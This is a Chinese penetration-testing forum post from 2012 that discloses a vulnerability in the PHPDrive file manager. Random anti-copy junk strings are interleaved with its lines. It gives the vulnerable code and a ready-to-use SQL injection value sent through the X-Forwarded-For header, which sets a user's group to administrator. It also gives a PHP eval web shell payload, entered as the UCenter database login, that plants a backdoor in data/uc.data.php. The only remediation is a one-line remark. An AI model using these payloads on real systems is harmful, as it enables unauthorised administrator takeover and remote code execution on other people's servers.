中国网络渗透测试联盟
标题:
PHPDrive权限提升漏洞
[打印本页]
作者:
admin
时间:
2012-12-31 09:18
标题:
PHPDrive权限提升漏洞
PHPDrive 是一套运行于 PHP 环境的文件管理系统，可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等
+ S: P# W. L" J; x; M/ @) U. P
d% f: S% S- J4 G
includes/user.lib.php
1 g" s. [4 i6 g2 q4 y8 m
行87
7 u8 l, v2 Z3 y- L; `8 q
function get_ip() {
" i" H) @, s9 r* [( s* P
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
- z7 S$ d. J% T. r# W T7 j, ^$ V
在用户注册与登录 处module/disk/account.lead.php
. M( `5 F; u. X
198行
, K. ?; x# R, w( ?( K% ]7 R
//更新本次登录IP和时间
7 p0 _2 V B6 V7 _ d. Z; Q
$db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生
% `) ^% D! O/ W% \! d
由于本套程序user与manager是存在于同一个表下的，只是用group字段来区分两者,group=1为管理员，2则为普通用户。所以可以利用以上注入，将普通用户的group值改为1，即可提升权限
; x( p5 N; _+ D" j5 K9 \
实现方法：使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆，这时候你就是管理员了.
. u1 \" n% ?5 U; _2 Z5 q
后台getshell:
! ?1 C# C. b* \" z, r- n* T( y7 c& x
在UCenter设置处，将UC数据库登录名填写为
5 @( J5 C9 ?: v! g( U
& F6 c) Y) h: D5 ~9 n" x
root’);eval($_POST[DisKill]);?>/*
# K9 W2 j4 C7 |
可以得到一个shell,位置在 data/uc.data.php
H6 t' S& c; C9 e) a& S# Y
6 T* w" b% `2 e: I7 x
修复：过滤注入
: H3 q6 Y0 i+ I; ^9 B; h% p
7 I+ c6 ]5 ?$ F: H
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2